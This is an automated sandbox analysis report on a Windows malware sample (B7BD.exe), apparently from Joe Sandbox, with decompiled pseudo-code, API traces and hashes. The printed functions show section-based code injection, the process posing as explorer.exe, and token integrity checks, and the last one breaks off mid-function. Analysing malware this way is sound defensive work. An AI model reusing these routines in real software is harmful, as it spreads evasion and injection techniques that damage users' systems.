__malloc_crt.LIBCMT ref: 0040AB3E

Memory Dump Source

Source File: 00000002.00000002.414448664.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_gjsvvic.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 680e49ecc13cbe48de0f56ca14d717ea81e7880006487745ee42aac639f80b93
Instruction ID: e21ef1c2ef5742ed6df4c513a471f963e85952df7da7595b2434280adc956e00
Opcode Fuzzy Hash: 680e49ecc13cbe48de0f56ca14d717ea81e7880006487745ee42aac639f80b93
Instruction Fuzzy Hash: D4F089376042115ED62576356C4887B267ADA8A329315553BFA92E3280E9384D9382AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE0A Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040AE1F

Memory Dump Source

Source File: 00000002.00000002.414448664.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_gjsvvic.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: a202c3d57859d2d9f7f2fdf93cd2d439cfa4120406105463b08f77246481dfa4
Instruction ID: 640cf9e4aa427c0b176727cb881a0e88f5bc32f9ed7bff3efe06bcf1b11e293d
Opcode Fuzzy Hash: a202c3d57859d2d9f7f2fdf93cd2d439cfa4120406105463b08f77246481dfa4
Instruction Fuzzy Hash: 4FD05E366903045FDB109FB0AD0C7633BDC9794795F084436B90CCA6A0E678C5508548

Uniqueness

Uniqueness Score: -1.00%

Function 00401910 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401910(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				asm("sbb ebp, ebx");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, 0x6f, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction ID: 2421212cf9775cb4e82dc684017396ff3ea1ef4e86c58c10a51bd6cb4b6bc29e
Opcode Fuzzy Hash: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction Fuzzy Hash: D00184B2708205EADB10AB95DC61ABA33149B45354F204537FA13B90F6C63D8513E76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018F5 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E004018F5(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t16;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				intOrPtr* _t22;

				_t24 = __eflags;
				_push(0xab);
				_t19 =  *_t22;
				E0040119E(0x193e, _t16, 0x6f, _t19, _t20, _t21, __eflags, __fp0);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E00401419(_t17, _t20, _t21, _t24, __fp0); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E00401514(_t25, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction ID: e1afb8008e98de97791c5ed59cb83e73cde9cb9d6ac916766b20bfdf9a8cc7b7
Opcode Fuzzy Hash: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction Fuzzy Hash: 66018CF130C209FAEB106A948C71ABA36299B81314F300133BA13790F5C53D8A13E66F

Uniqueness

Uniqueness Score: -1.00%

Function 00401900 Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401900(void* __eax, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t14;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t24;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr _t30;

				_pop(_t20);
				_pop(_t28);
				_t1 = __eax + 0x193e;
				 *_t1 =  *((intOrPtr*)(__eax + 0x193e)) - _t20;
				_t30 =  *_t1;
				_push(0xab);
				_t24 =  *_t28;
				E0040119E(0x193e, _t20, 0x6f, _t24, __edi, __esi, _t30, __fp0);
				_t21 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t21); // executed
				_t14 = E00401419(_t21, __edi, __esi, _t30, __fp0); // executed
				_t31 = _t14;
				if(_t14 != 0) {
					E00401514(_t31, _t21, _t14,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t21();
				_t21 = _t21 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction ID: c80725063fa5cd5d3bf9caad683ad8039253a2745de3db8bb1ccfc6e48a334a0
Opcode Fuzzy Hash: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction Fuzzy Hash: BA015EF130C205EAEB105A949C71ABA36159B85314F304137BA53790F6C53D8A13E66B

Uniqueness

Uniqueness Score: -1.00%

Function 0040190C Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040190C(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t14;
				intOrPtr* _t20;
				intOrPtr _t22;
				void* _t26;
				intOrPtr* _t27;

				_t29 = __eflags;
				_t25 = __eax;
				_push(0xab);
				_t22 =  *_t27;
				E0040119E(0x193e, __ebx, 0x6f, _t22, __edi, __eax, __eflags, __fp0);
				_t20 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_push(_t26 - 4);
				_push( *((intOrPtr*)(_t26 + 0x10)));
				_push( *((intOrPtr*)(_t26 + 0xc)));
				_push(_t20); // executed
				_t14 = E00401419(_t20, __edi, _t25, _t29, __fp0); // executed
				_t30 = _t14;
				if(_t14 != 0) {
					E00401514(_t30, _t20, _t14,  *((intOrPtr*)(_t26 - 4)),  *((intOrPtr*)(_t26 + 0x14))); // executed
				}
				 *_t20();
				_t20 = _t20 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction ID: 5c6be3d6fa264534ea991e23dffef21807595c3374f62bed89ca8c6d847c6ab3
Opcode Fuzzy Hash: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction Fuzzy Hash: B9011AF1708205EAEB119A949C71ABA32259B85314F304133BA13791F6C67D8A53E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401921 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00401921(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				_t18 = __ecx;
				asm("scasb");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, __ecx, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction ID: a99f987fb3800db72710cdf5a38ca902ccd841e4d5acefe62a501ff3cd3cf7f9
Opcode Fuzzy Hash: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction Fuzzy Hash: 54013CF2708205FAEB109A959C61ABA36299F45354F304137BA13790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 44
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E00401925(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t13;
				intOrPtr* _t19;
				void* _t20;
				intOrPtr _t21;
				void* _t25;
				intOrPtr* _t26;

				_t28 = __eflags;
				_t20 = __ecx;
				_t24 = __eax;
				asm("a16 push 0xab");
				_push(0xab);
				_t21 =  *_t26;
				E0040119E(__esi, __ebx, __ecx, _t21, __edi, __eax, __eflags, __fp0);
				_t19 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t19); // executed
				_t13 = E00401419(_t19, __edi, _t24, _t28, __fp0); // executed
				_t29 = _t13;
				if(_t13 != 0) {
					E00401514(_t29, _t19, _t13,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t19();
				_t19 = _t19 + _t20;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction ID: b0ff338450a25d5b6aa89585593cf6bc9af60e6e70e63708ff4a4873c551fa89
Opcode Fuzzy Hash: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction Fuzzy Hash: 36F04FB2308205EBEB019B95DC61ABA37299F45714F204533BA53790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401934 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00401934(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;
				void* _t25;

				_t18 = __ecx;
				_t25 = __eax - 0x11efebd3;
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(__eax, __ebx, __ecx, _t19, __edi, __esi, _t25, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction ID: 9499ee2aead6bf7bd52ecc6e282b1c5f7567d2022060853a6c33904b9a08ada9
Opcode Fuzzy Hash: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction Fuzzy Hash: A0F06DB2204205EAEB005A958C61ABE37289F44314F204133BA13B90F2C63D8612E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004109DC Relevance: 10.7, APIs: 7, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.414448664.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_gjsvvic.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bd7263373c945ee6fd36a41f58db3fdb660cfe67ef1da9d8714555f23720893
Instruction ID: f0d041ecb6257beefe618fa361047714a98a051b7167459f6bbe20599fabe5c8
Opcode Fuzzy Hash: 9bd7263373c945ee6fd36a41f58db3fdb660cfe67ef1da9d8714555f23720893
Instruction Fuzzy Hash: 8C511571D053159FCF216BB58C086AF3A64AF503A8B20462BF854B72D1DB7C9CC18B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2E3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040E309

Part of subcall function 0040E12E: __fltout2.LIBCMT ref: 0040E15A

__cftog_l.LIBCMT ref: 0040E32F
__cftoe_l.LIBCMT ref: 0040E361

Memory Dump Source

Source File: 00000002.00000002.414448664.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_gjsvvic.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 19492c9a9c2abb8f16a0a8787e774dbabf618f5d44fd765466a2522a463b0bd6
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 3911833240014DFBCF225F96CC02CEE3F26BB18394B198826FE1869171C73AD971AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: B7BD.exePID: 5372, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	42.9%
Signature Coverage:	13.1%
Total number of Nodes:	84
Total number of Limit Nodes:	5

Executed Functions

Function 00409543 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00409543(void* __ecx) {
				intOrPtr _v8;
				long _v12;
				long _v16;
				short _v1056;
				long _t24;
				void* _t28;
				WCHAR* _t30;
				WCHAR* _t31;

				_v8 = E00407E0C();
				E0040335C(__ecx,  &_v1056, 0x410);
				_t24 = GetWindowsDirectoryW( &_v1056, 0x104);
				_v12 = _t24;
				if(_v12 != 0 && _v12 < 0x104) {
					E0040B160( &_v1056, "\\");
					E0040B160( &_v1056, L"explorer.exe");
					 *0x46c2d0 = 0;
					_v16 = 0x1000;
					_t24 = NtAllocateVirtualMemory(0xffffffff, 0x46c2d0, 0,  &_v16, 0x3000, 4); // executed
					if( *0x46c2d0 != 0) {
						_t28 =  *0x46c2d0; // 0x9d0000
						E00408BFE( &_v16, _t28,  &_v1056);
						_t13 = _v8 + 0x1c; // 0xdb51e8ec
						EnterCriticalSection( *_t13);
						_t30 =  *0x46c2d0; // 0x9d0000
						_t15 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t15 + 0x38, _t30);
						_t31 =  *0x46c2d0; // 0x9d0000
						_t17 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t17 + 0x40, _t31);
						_t19 = _v8 + 0x1c; // 0xdb51e8ec
						LeaveCriticalSection( *_t19);
						return  *0x46cfb0(0, E004050A2, _v8);
					}
				}
				return _t24;
			}

0x00409551
0x00409560
0x00409574
0x0040957a
0x00409581
0x004095a0
0x004095b4
0x004095bc
0x004095c6
0x004095e1
0x004095ee
0x004095fb
0x00409601
0x0040960c
0x00409610
0x00409616
0x0040961f
0x00409626
0x0040962c
0x00409635
0x0040963c
0x00409645
0x00409649
0x00000000
0x0040965a
0x004095ee
0x00409718

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
RtlInitUnicodeString.NTDLL(00000180,009D0000), ref: 00409626
RtlInitUnicodeString.NTDLL(00000178,009D0000), ref: 0040963C
LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Strings

explorer.exe, xrefs: 004095A8

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID: explorer.exe
API String ID: 3728205514-3187896405
Opcode ID: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction ID: d3c5517ac64ebe0f4a93bb8fcf9093c65cacff95b6910bca11f849b0b04bbd4d
Opcode Fuzzy Hash: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction Fuzzy Hash: 4F3195B5940208EBC704DF90DCC5FA97775AB48305F1081BAFA05672D1E7B8AE85CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00BCBB56 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00BCBB7E
Module32First.KERNEL32(00000000,00000224), ref: 00BCBB9E

Memory Dump Source

Source File: 00000006.00000002.472010459.0000000000BCB000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BCB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bcb000_B7BD.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6ffd0ca77bd9f21b6eea67dd0bf6eb084a82cf0a6952dd8e8a945c4a06bb1ffc
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: EEF06235600711AFD7203AB5988EF6E76E8EF49725F1005ACE657A10C0DB70EC458A61

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEA4 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0040AEA4(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _t6;
				void* _t7;
				void* _t11;
				void* _t14;
				void* _t15;

				_t15 = __esi;
				_t14 = __edi;
				_t11 = __ebx;
				_push(__ecx);
				_v8 =  *[fs:0x30];
				E0040D1F6();
				_t13 = _v8;
				if( *((intOrPtr*)(_v8 + 0xa4)) > 5) {
					E00404369(__ebx, __edi, __esi); // executed
				}
				_t6 = E0040C13C(_t13);
				if(_t6 != 0) {
					_t7 = E00403AEE(_t13);
					__eflags = _t7;
					if(_t7 != 0) {
						E004043AD();
						__eflags = E00407D21(_t11, _t13, _t14, _t15);
						if(__eflags != 0) {
							Sleep(0x927c0);
							E004023F2(__eflags);
						}
						ExitProcess(0);
					}
					return _t7;
				} else {
					return _t6;
				}
			}

0x0040aea4
0x0040aea4
0x0040aea4
0x0040aea7
0x0040aeae
0x0040aeb1
0x0040aeb6
0x0040aec0
0x0040aec6
0x0040aec6
0x00401bd2
0x00401bd9
0x004044bc
0x004044c1
0x004044c3
0x0040a95e
0x0040a968
0x0040a96a
0x0040a975
0x0040a97b
0x0040a97b
0x00402b46
0x00402b46
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Module$FileHandleInitializeLibraryLoadName
String ID:
API String ID: 1691763914-0
Opcode ID: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction ID: b20ac1345fbffd2ee6b09d0fcfa97f88ae309217d757d61775f2d603f36cc11d
Opcode Fuzzy Hash: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction Fuzzy Hash: 0BF0BE70608345D6C6047FB38E4672A76B8AF0030DF10407FFD02B62D2EA7E9A11559F

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4C Relevance: 12.1, APIs: 8, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E00405C4C() {
				void** _v8;
				void* _v12;
				long _v16;
				long _v20;
				int _v24;
				int _t31;

				_v24 = 0;
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_v20 = 0;
				while(OpenProcessToken(0xffffffff, 8,  &_v12) != 0) {
					GetTokenInformation(_v12, 0x19, 0, 0,  &_v16); // executed
					_push(_v16);
					_v8 = LocalAlloc(0, ??);
					_t31 = GetTokenInformation(_v12, 0x19, _v8, _v16,  &_v16); // executed
					if(_t31 != 0) {
						_v20 =  *(GetSidSubAuthority( *_v8, ( *(GetSidSubAuthorityCount( *_v8)) & 0x000000ff) - 0x00000001 & 0x000000ff));
						_v24 = _v20;
						if(0 != 0) {
							continue;
						}
						L3:
						if(_v12 != 0) {
							FindCloseChangeNotification(_v12); // executed
						}
						if(_v8 != 0) {
